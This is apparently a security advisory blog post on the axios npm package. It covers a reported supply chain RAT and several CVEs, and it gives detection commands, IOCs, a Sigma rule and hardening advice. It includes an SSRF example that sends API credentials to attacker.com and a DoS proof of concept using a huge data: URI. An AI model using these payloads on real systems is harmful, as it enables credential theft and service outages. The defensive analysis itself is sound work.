Axios Under Siege: SSRF, DoS, and an Active Supply Chain RAT
Dependencies Security
01 · The axios Threat Landscape in 2026
axios is not a niche package. With over 100 million weekly downloads, it is embedded in virtually every Node.js microservice, React frontend, and CI/CD pipeline on the planet. When a vulnerability lands here, it doesn't affect a handful of applications — it becomes a systemic risk across the global software supply chain.
This post covers the full spectrum: from long-standing implementation flaws that persist because developers skip changelogs, to the active, in-the-wild supply chain compromise that hit npm this morning. If you maintain any application that uses axios, you need to read this now.
02 · BREAKING: The March 31, 2026 Supply Chain Attack
If you ran npm install today without pinned versions, check your lock file now. Treat any machine that installed axios@1.14.1 or axios@0.30.4 as fully compromised. Rotate all credentials: SSH keys, API tokens, .env secrets, cloud keys, npm tokens, database passwords.
At 00:21 UTC on March 31, 2026, a threat actor who had gained control of the npm credentials of jasonsaayman — the primary axios maintainer — silently published two poisoned versions. The attack hit both the 1.x and 0.x branches within 39 minutes.
What makes this operationally precise: the malicious dependency was staged 18 hours before activation. The attacker published a clean-looking plain-crypto-js@1.0.0 to establish npm provenance, then 18 hours later pushed plain-crypto-js@1.0.1 containing the actual payload. Any scanner that pre-screened the dependency graph would have seen nothing suspicious.
Attack Timeline
setup.js dropper and a postinstall hook. Payload goes live.jasonsaayman account publishes axios@1.14.1 with plain-crypto-js@1.0.1 injected as a runtime dependency. GitHub Actions completely bypassed — pushed directly via npm CLI. Account email changed to nrwise@yandex.com.How the RAT Works: Technical Dissection
The attack chain is elegantly simple. axios itself contains zero malicious code. The payload lives entirely in plain-crypto-js@1.0.1, which is never imported by axios's own runtime — it exists solely as a delivery mechanism via npm's postinstall lifecycle hook.
- Developer runs
npm install axios@1.14.1— npm silently resolves the full dependency tree.plain-crypto-js@1.0.1installs without warning. - postinstall hook fires
setup.jsautomatically — No user interaction, no prompt, no warning from npm itself. - Obfuscated dropper fingerprints OS and contacts C2 —
setup.jsmakes an outbound HTTP connection tosfrclak[.]com:8000to download the platform-specific payload. - Platform-specific RAT installed and persisted — macOS: Mach-O binary at
/Library/Caches/com.apple.act.mond. Windows: PowerShell payload. Linux: Python payload. Each establishes 60-second C2 beaconing. - Evidence destruction:
setup.jsself-deletes — Replaces itself with a cleanpackage.jsonfrompackage.md. No trace innode_modules.
C2 Beacon Structure (macOS RAT)
{ "hostname": "macbook-pro.local", "username": "developer", "version": "14.4.1", "timezone": "-5", "installTimeString": "2023-09-15 09:22:11", "currentTimeString": "2026-03-31 08:07:33", "cpuType": "mac_x64", "processList": "...", "FirstInfo": "..." }
The RAT polls the C2 every 60 seconds with a deliberately anomalous User-Agent: mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0) — a fake Internet Explorer 8 on Windows XP. Highly detectable in any proxy log or EDR. Supported commands: peinject (drop and execute signed binaries), runscript (shell or AppleScript), rundir (filesystem enumeration). Full arbitrary code execution.
Socket identified two additional packages distributing the same malware: @shadanai/openclaw (versions 2026.3.28-2 through 2026.3.31-2) and @qqbrowser/appsign-web@0.0.2-beta shipping a tampered axios@1.14.1. This campaign is broader than the axios compromise alone.
Detection: Am I Compromised?
# 1. Check if you installed a malicious axios version grep -E '"axios".*"(1\.14\.1|0\.30\.4)"' package-lock.json # 2. Check for plain-crypto-js in your dependency tree npm ls plain-crypto-js # 3. Scan all node_modules directories in the repo find . -path '*/node_modules/plain-crypto-js' -maxdepth 5 # 4. Check for the macOS RAT binary ls -la /Library/Caches/com.apple.act.mond 2>/dev/null && echo "COMPROMISED" # 5. Check for active C2 connection lsof -i :8000 | grep ESTABLISHED # 6. Block C2 at host level immediately echo "0.0.0.0 sfrclak.com" >> /etc/hosts
03 · CVE-2025-27152 — SSRF via Absolute URL Override
When axios is configured with a baseURL, passing an absolute URL as the request path completely overrides the base. The absolute URL wins — silently. Any credentials, API keys, or authorization headers on the instance are forwarded to the attacker's domain.
The flaw lives in axios's URL resolution logic. buildFullPath(baseURL, path) detects absolute URLs and short-circuits — returning the absolute URL directly, discarding baseURL entirely. No warning. No validation.
import axios from 'axios'; const internalClient = axios.create({ baseURL: 'https://internal-api.company.com/api/v1/users/', headers: { 'X-API-KEY': process.env.INTERNAL_API_KEY, 'Authorization': `Bearer ${serviceToken}` } }); async function getUser(userId) { return internalClient.get(userId); // ← no validation } // Attacker sends: GET /api/user?id=https://attacker.com/collect // axios final URL resolves to: https://attacker.com/collect // X-API-KEY + Authorization are now exfiltrated
// Option A: allowAbsoluteUrls: false (requires axios >= 1.8.2) const client = axios.create({ baseURL: 'https://internal-api.company.com/api/v1/', allowAbsoluteUrls: false, }); // Option B: validate path before passing to axios function sanitizeId(id) { if (/^[a-z][a-z0-9+\-.]*:/i.test(id)) throw new Error('URL scheme not allowed'); if (!/^[a-zA-Z0-9_-]{1,64}$/.test(id)) throw new Error('Invalid ID'); return id; } // Option C: request interceptor enforces same-origin client.interceptors.request.use(config => { const resolved = new URL(config.url, config.baseURL); const allowed = new URL(config.baseURL); if (resolved.origin !== allowed.origin) { return Promise.reject(new Error('SSRF guard: origin mismatch')); } return config; });
04 · CVE-2025-58754 — DoS via Unbounded data: URI Decoding
When axios on Node.js receives a URL with the data: scheme, the Node adapter decodes the entire Base64 payload into memory via Buffer.from() — with no size limit. maxContentLength and maxBodyLength guards do not apply to this code path.
import axios from 'axios'; // versions 0.28.0 – 1.11.x const raw = Buffer.alloc(512 * 1024 * 1024, 0x41); const dataUri = `data:application/octet-stream;base64,${raw.toString('base64')}`; await axios.get(dataUri, { maxContentLength: 1024, // ← ignored for data: URIs maxBodyLength: 1024, // ← also ignored responseType: 'stream' // ← also ignored }); // Node.js process is OOM-killed before this line is reached
function validateUrl(url) { let parsed; try { parsed = new URL(url); } catch { throw new Error('Invalid URL'); } if (!['https:', 'http:'].includes(parsed.protocol)) { throw new Error(`Blocked scheme: ${parsed.protocol}`); } const h = parsed.hostname; if (['localhost'].includes(h) || h.startsWith('127.') || h.startsWith('10.') || h.startsWith('192.168.') || h === '169.254.169.254') { throw new Error('Private address blocked'); } return url; } async function safeFetch(url) { return axios.get(validateUrl(url), { maxContentLength: 10 * 1024 * 1024, maxRedirects: 3, timeout: 10_000 }); }
05 · Historical CVEs Worth Auditing in Your Codebase
CVE-2023-45857 — XSRF-TOKEN Credential Leakage
Before axios 1.6.0, the XSRF-TOKEN cookie value was included in the X-XSRF-TOKEN header on every request — including cross-origin requests to third-party APIs. Any third-party service your frontend called received your CSRF token, enabling forged state-mutating requests if the third party was compromised.
CVE-2021-3749 — ReDoS via Inefficient Regex
A Regular Expression Denial of Service in the header-sanitization trim function. A string of 50,000+ spaces followed by a non-whitespace character triggers catastrophic backtracking, stalling the Node.js event loop for multiple seconds per request. EPSS score of 8.47% indicates active targeting. Patched in 0.21.3.
CVE-2020-28168 — SSRF via Redirect to localhost
axios followed HTTP redirects to private/loopback IP addresses, bypassing proxy-level SSRF protection. An attacker whose URL redirected to http://169.254.169.254 (AWS metadata endpoint) could reach internal infrastructure the proxy was configured to block. Patched in 0.21.1.
CVSS Score Comparison
06 · Indicators of Compromise (IOCs)
Add these to your SIEM, EDR, DNS blocklists, and firewall egress rules immediately.
| Type | Indicator | Context |
|---|---|---|
| Domain | sfrclak[.]com | Primary C2 server for the RAT dropper |
| IP:Port | 142.11.206.73:8000 | C2 IP — block egress TCP/8000 |
| User-Agent | mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0) | Fake IE8/WinXP UA for macOS RAT C2 beacons |
| npm Package | plain-crypto-js@1.0.1 | Malicious postinstall dropper |
| npm Package | axios@1.14.1 | Compromised 1.x release |
| npm Package | axios@0.30.4 | Compromised 0.x release |
| npm Account | nrwise / nrwise@yandex.com | Attacker accounts used in campaign |
| File Path | /Library/Caches/com.apple.act.mond | macOS RAT binary persistence location |
| npm Package | @shadanai/openclaw | Secondary malware distribution vector |
| npm Package | @qqbrowser/appsign-web@0.0.2-beta | Ships tampered axios@1.14.1 in node_modules |
title: Axios Supply Chain RAT C2 Communication id: a8f2c041-axios2026-rat status: stable date: 2026-03-31 tags: - attack.command_and_control - attack.t1071.001 - attack - attack.t1059.007 detection: selection_domain: DestinationHostname|contains: 'sfrclak.com' selection_ip: DestinationIP: '142.11.206.73' DestinationPort: 8000 selection_ua: c-useragent|contains: 'msie 8.0; windows nt 5.1; trident/4.0' condition: 1 of selection_* level: critical
Hardening & Remediation Guide
Incident Response Checklist
- Identify all machines where npm install ran today
- Check package-lock.json for axios@1.14.1 or axios@0.30.4
- Check for plain-crypto-js across all repos and node_modules directories
- Block sfrclak[.]com and 142.11.206.73:8000 at perimeter firewall
- Check /Library/Caches/com.apple.act.mond on all macOS machines
- Rotate ALL credentials accessible from affected machines
- Downgrade to axios@1.14.0 or axios@0.30.3 immediately
- Audit CI/CD pipeline logs for installs during 00:00–12:00 UTC March 31
- Reimage affected machines — do not trust a wiped-but-not-reimaged machine
Supply Chain Hardening
# package.json — exact pin, no ^ or ~ { "dependencies": { "axios": "1.14.0" } } # .npmrc — disable lifecycle scripts globally in CI ignore-scripts=true # CI install command npm ci --ignore-scripts # prevents postinstall dropper from firing
Version Upgrade Matrix
| Current Version | Affected By | Target Version | Action |
|---|---|---|---|
| 1.14.1 | Supply Chain RAT | 1.14.0 | Downgrade + rotate all credentials |
| 0.30.4 | Supply Chain RAT | 0.30.3 | Downgrade + rotate all credentials |
| < 1.8.2 | CVE-2025-27152 (SSRF) | ≥ 1.8.2 | Upgrade + set allowAbsoluteUrls: false |
| 0.28.0 – 1.11.x | CVE-2025-58754 (DoS) | 0.30.2 / 1.12.0 | Upgrade + add scheme validation |
| < 1.6.0 | CVE-2023-45857 (XSRF) | ≥ 1.6.0 | Upgrade |
| < 0.21.3 | CVE-2021-3749 (ReDoS) | ≥ 0.21.3 | Upgrade |
This incident highlights a structural weakness in the software supply chain.
No vulnerability was required. No exploit chain was needed.
A trusted package, installed through a standard workflow, was enough to deliver a fully functional RAT.
The risk is no longer limited to insecure code paths or outdated dependencies.
It extends to the execution model of the ecosystem itself — where install-time behavior can introduce arbitrary code without visibility.
For most teams, that boundary is still largely unmonitored.
What This Means in Practice
If your current controls focus only on static analysis or known vulnerabilities,
they are unlikely to detect this class of attack.
What matters here is not just what dependencies declare,
but what they execute — especially during install and build time.
This class of attack does not rely on sophistication.
It relies on default trust.
Until install-time execution is treated as part of the attack surface,
similar incidents will continue to bypass traditional detection approaches.
